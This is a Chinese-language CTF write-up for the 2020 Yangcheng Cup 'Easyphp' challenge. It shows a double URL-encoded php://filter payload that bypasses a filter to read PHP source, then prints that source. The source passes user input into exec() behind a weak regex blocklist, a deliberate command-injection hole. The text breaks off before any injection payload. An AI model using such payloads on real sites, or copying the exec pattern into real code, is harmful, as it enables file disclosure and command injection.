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羊城杯2020Easyphp

article 2024/11/14 12:00:01

审题

看到url，可以想到伪协议读取

尝试过后可以发现，题目绕过了read后面的编码

我们可以尝试双重urlencode进行绕过

?file=php://filter/read=%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=GWHT.php

解密出来代码为

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>count is here</title>

    <style>

        html,
        body {
            overflow: none;
            max-height: 100vh;
        }

    </style>
</head>

<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">

<center><img src="question.jpg" height="200" width="200" /> </center>

    <?php
    ini_set('max_execution_time', 5);

    if ($_COOKIE['pass'] !== getenv('PASS')) {
        setcookie('pass', 'PASS');
        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
    }
    ?>

    <h1>A Counter is here, but it has someting wrong</h1>

    <form>
        <input type="hidden" value="GWHT.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
        <input type="submit">
    </form>

    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
        	die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
    }
    ?>

</body>

</html>

当然我们现在还不知道要传啥Cookie，我们到robots.txt里面看看

发现有一个文件

同样，我们也可以伪协议进行读取

发现Cookie要为GWHT，其实可以猜到

然后我们可以看到搜索框，

由我们的代码可以知道有绕过

    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
        	die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";